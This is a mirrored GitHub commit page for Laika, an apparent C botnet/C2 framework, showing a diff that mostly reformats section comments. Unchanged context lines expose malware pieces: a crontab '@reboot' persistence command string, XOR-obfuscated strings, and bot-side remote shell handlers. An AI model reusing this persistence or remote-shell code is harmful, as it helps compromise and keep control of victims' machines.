1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 12:40:04 +00:00

Minor comments refactoring

This commit is contained in:
CPunch 2022-06-27 18:20:23 -05:00
parent ca0543fe90
commit 1d6ce15b3d
15 changed files with 46 additions and 34 deletions

View File

@ -58,7 +58,7 @@ set(SODIUM_MINIMAL ON)
set(SODIUM_STATIC ON)
add_subdirectory(libsodium)
# ========================================== [[ CONFIG DEFAULTS ]] ==========================================
# ===================================== [[ CONFIG DEFAULTS ]] =====================================
set(LAIKA_VMBOXCONFIG ${CMAKE_SOURCE_DIR}/lib/include/lboxconfig.h)
@ -89,7 +89,7 @@ configure_file(${CMAKE_SOURCE_DIR}/lib/include/lconfig.h.in ${CMAKE_SOURCE_DIR}/
# config vm boxes
add_subdirectory(tools/vmboxgen)
# =========================================== [[ BUILD TOOLING ]] ===========================================
# ====================================== [[ BUILD TOOLING ]] ======================================
# compile laikalib, tools, cnc & bot
add_subdirectory(lib)

View File

@ -55,7 +55,7 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaM_free(shell);
}
/* ============================================[[ Shell Handlers ]]============================================= */
/* ====================================[[ Shell Handlers ]]===================================== */
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];

View File

@ -18,7 +18,9 @@ void laikaB_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
/* stubbed */
}
/* =============================================[[ Packet Tables ]]============================================== */
/* ====================================[[ Packet Tables ]]===================================== */
/* clang-format off */
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
@ -43,6 +45,8 @@ struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
true),
};
/* clang-format on */
/* socket event */
void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
@ -51,7 +55,7 @@ void laikaB_onPollFail(struct sLaika_socket *sock, void *uData) {
laikaS_kill(&bot->peer->sock);
}
/* ==================================================[[ Bot ]]=================================================== */
/* ==========================================[[ Bot ]]========================================== */
struct sLaika_bot *laikaB_newBot(void) {
LAIKA_BOX_SKID_START(char*, cncPubKey, LAIKA_PUBKEY);

View File

@ -37,7 +37,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
}
}
/* ============================================[[ Packet Handlers ]]============================================= */
/* ====================================[[ Packet Handlers ]]==================================== */
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_bot *bot = (struct sLaika_bot*)uData;

View File

@ -97,7 +97,7 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
laikaM_free(shell);
}
/* ============================================[[ Shell Handlers ]]============================================= */
/* ====================================[[ Shell Handlers ]]===================================== */
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {

View File

@ -8,7 +8,7 @@
#include "cpeer.h"
#include "cnc.h"
/* ==============================================[[ PeerHashMap ]]=============================================== */
/* ======================================[[ PeerHashMap ]]======================================= */
typedef struct sCNC_PeerHashElem {
struct sLaika_peer *peer;
@ -27,7 +27,7 @@ uint64_t cnc_PeerElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ============================================[[ Packet Handlers ]]============================================= */
/* ====================================[[ Packet Handlers ]]==================================== */
bool checkPeerKey(struct sLaika_peer *peer, void *uData) {
if (sodium_memcmp(peer->peerPub, uData, crypto_kx_PUBLICKEYBYTES) == 0)
@ -93,7 +93,9 @@ void laikaC_handlePing(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)
laikaS_emptyOutPacket(peer, LAIKAPKT_PINGPONG); /* gg 2 ez */
}
/* =============================================[[ Packet Tables ]]============================================== */
/* =====================================[[ Packet Tables ]]===================================== */
/* clang-format off */
#define DEFAULT_PKT_TBL \
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_REQ, \
@ -139,7 +141,9 @@ struct sLaika_peerPacketInfo laikaC_authPktTbl[LAIKAPKT_MAXNONE] = {
#undef DEFAULT_PKT_TBL
/* ==================================================[[ CNC ]]=================================================== */
/* clang-format on */
/* ==========================================[[ CNC ]]========================================== */
struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
@ -401,7 +405,7 @@ void laikaC_sweepPeersTask(struct sLaika_taskService *service, struct sLaika_tas
laikaC_iterPeers(cnc, sweepPeers, (void*)cnc);
}
/* ===============================================[[ Peer Iter ]]================================================ */
/* =======================================[[ Peer Iter ]]======================================= */
struct sWrapperData {
tLaika_peerIter iter;

View File

@ -41,7 +41,7 @@ void laikaC_sendRmvPeer(struct sLaika_peer *authPeer, struct sLaika_peer *peer)
laikaS_endOutPacket(authPeer);
}
/* =========================================[[ [Auth] Packet Handlers ]]========================================= */
/* ================================[[ [Auth] Packet Handlers ]]================================= */
void laikaC_handleAuthenticatedHandshake(struct sLaika_peer *authPeer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;

View File

@ -4,7 +4,7 @@
#include "cpeer.h"
#include "lerror.h"
/* ===============================================[[ Peer Info ]]================================================ */
/* =======================================[[ Peer Info ]]======================================= */
struct sLaika_peerInfo *allocBasePeerInfo(struct sLaika_cnc *cnc, size_t sz) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)laikaM_malloc(sz);
@ -40,7 +40,7 @@ void laikaC_freePeerInfo(struct sLaika_peer *peer, struct sLaika_peerInfo *pInfo
}
/* ==============================================[[ Shell Info ]]================================================ */
/* ======================================[[ Shell Info ]]======================================= */
int findOpenShellID(struct sLaika_peerInfo *pInfo) {
int id;
@ -116,7 +116,7 @@ void laikaC_closeShells(struct sLaika_peer *peer) {
}
}
/* ========================================[[ [Peer] Packet Handlers ]]========================================== */
/* ================================[[ [Peer] Packet Handlers ]]================================= */
void laikaC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
struct sLaika_peerInfo *pInfo = (struct sLaika_peerInfo*)uData;

View File

@ -38,7 +38,7 @@ struct sLaikaB_box {
uint8_t code[LAIKA_VM_CODESIZE];
};
/* ==============================================[[ Box Var API ]]=============================================== */
/* ======================================[[ Box Var API ]]====================================== */
#define LAIKA_BOX_STARTVAR(type, ident, box, data) \
uint8_t __data##ident[LAIKA_VM_CODESIZE] = data; \
@ -61,7 +61,7 @@ struct sLaikaB_box {
# define LAIKA_BOX_SKID_END(ident) ((void)0) /* no-op */
#endif
/* ==============================================[[ Laika Boxes ]]=============================================== */
/* ======================================[[ Laika Boxes ]]====================================== */
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol */
#define LAIKA_BOX_SKID(_key) { \
@ -86,7 +86,7 @@ struct sLaikaB_box {
} \
}
/* ==============================================[[ Raw Box API ]]=============================================== */
/* ======================================[[ Raw Box API ]]====================================== */
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
struct sLaikaV_vm vm = {

View File

@ -18,7 +18,7 @@
/* raw obfuscated strings */
/* =============================================[[ Linux Strings ]]============================================== */
/* =====================================[[ Linux Strings ]]===================================== */
/* we want a semi-random file lock that is stable between similar builds,
* so we use the GIT_VERSION as our file lock :D */
@ -30,7 +30,7 @@
#define LAIKA_LIN_CRONTAB_ENTRY "(crontab -l ; echo \"@reboot %s\")| crontab -"
/* ============================================[[ Windows Strings ]]============================================= */
/* ====================================[[ Windows Strings ]]==================================== */
/* we want a semi-random mutex that is stable between similar builds,
* so we use the GIT_VERSION as our mutex :D */

View File

@ -34,7 +34,7 @@
if packet doesn't have either, it can be sent & received by both peer & cnc
*/
enum {
/* ==================================================[[ Peer ]]================================================== */
/* =========================================[[ Peer ]]========================================== */
LAIKAPKT_VARPKT,
/* layout of LAIKAPKT_VARPKT:
* LAIKAPKT_SIZE pktSize;
@ -73,7 +73,7 @@ enum {
* uint32_t id;
* char buf[VAR_PACKET_LENGTH-sizeof(uint32_t)];
*/
/* ==================================================[[ Auth ]]================================================== */
/* =========================================[[ Auth ]]========================================== */
LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* second packet sent by authenticated peers (panel). there is no response packet */
/* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ
* uint8_t peerType;

View File

@ -36,7 +36,7 @@ void laikaS_freePeer(struct sLaika_peer *peer) {
laikaM_free(peer);
}
/* ===========================================[[ Start/End Packets ]]============================================ */
/* ===================================[[ Start/End Packets ]]=================================== */
void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
struct sLaika_socket *sock = &peer->sock;
@ -157,7 +157,7 @@ void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
peer->useSecure = flag;
}
/* ===========================================[[ Handle Poll Events ]]=========================================== */
/* ==================================[[ Handle Poll Events ]]=================================== */
bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;

View File

@ -2,7 +2,7 @@
#include "lmem.h"
#include "lpolllist.h"
/* ===========================================[[ Helper Functions ]]============================================= */
/* ===================================[[ Helper Functions ]]==================================== */
typedef struct sLaika_hashMapElem {
SOCKET fd;
@ -21,7 +21,7 @@ uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) {
return (uint64_t)(u->fd);
}
/* ==============================================[[ PollList API ]]============================================== */
/* =====================================[[ PollList API ]]====================================== */
void laikaP_initPList(struct sLaika_pollList *pList) {
laikaS_init();

View File

@ -13,7 +13,7 @@ void shell_pingTask(struct sLaika_taskService *service, struct sLaika_task *task
laikaS_emptyOutPacket(client->peer, LAIKAPKT_PINGPONG);
}
/* ==============================================[[ PeerHashMap ]]=============================================== */
/* ======================================[[ PeerHashMap ]]====================================== */
typedef struct sShell_hashMapElem {
int id;
@ -33,7 +33,7 @@ uint64_t shell_ElemHash(const void *item, uint64_t seed0, uint64_t seed1) {
return *(uint64_t*)(u->pub); /* hashes pub key (first 8 bytes) */
}
/* ============================================[[ Packet Handlers ]]============================================= */
/* ====================================[[ Packet Handlers ]]==================================== */
void shellC_handleHandshakeRes(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t endianness = laikaS_readByte(&peer->sock);
@ -138,7 +138,9 @@ void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *u
shellC_closeShell(client);
}
/* ==============================================[[ Packet Table ]]============================================== */
/* =====================================[[ Packet Table ]]====================================== */
/* clang-format off */
struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
@ -171,6 +173,8 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
true)
};
/* clang-format on */
/* socket event */
void shellC_onPollFail(struct sLaika_socket *sock, void *uData) {
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
@ -179,7 +183,7 @@ void shellC_onPollFail(struct sLaika_socket *sock, void *uData) {
laikaS_kill(&client->peer->sock);
}
/* ===============================================[[ Client API ]]=============================================== */
/* ======================================[[ Client API ]]======================================= */
void shellC_init(tShell_client *client) {
laikaP_initPList(&client->pList);

View File

@ -15,7 +15,7 @@
jmp_buf cmdE_err;
/* ===========================================[[ Helper Functions ]]============================================= */
/* ===================================[[ Helper Functions ]]==================================== */
tShell_cmdDef *shellS_findCmd(char *cmd);
@ -30,7 +30,7 @@ int shellS_readInt(char *str) {
return atoi(str);
}
/* ===========================================[[ Command Handlers ]]============================================= */
/* ===================================[[ Command Handlers ]]==================================== */
void helpCMD(tShell_client *client, int argc, char *argv[]);
@ -110,7 +110,7 @@ void openShellCMD(tShell_client *client, int argc, char *argv[]) {
PRINTSUCC("Shell closed!\n");
}
/* =============================================[[ Command Table ]]============================================== */
/* =====================================[[ Command Table ]]===================================== */
#define CREATECMD(_cmd, _syntax, _help, _callback) ((tShell_cmdDef){.cmd = _cmd, .syntax = _syntax, .help = _help, .callback = _callback})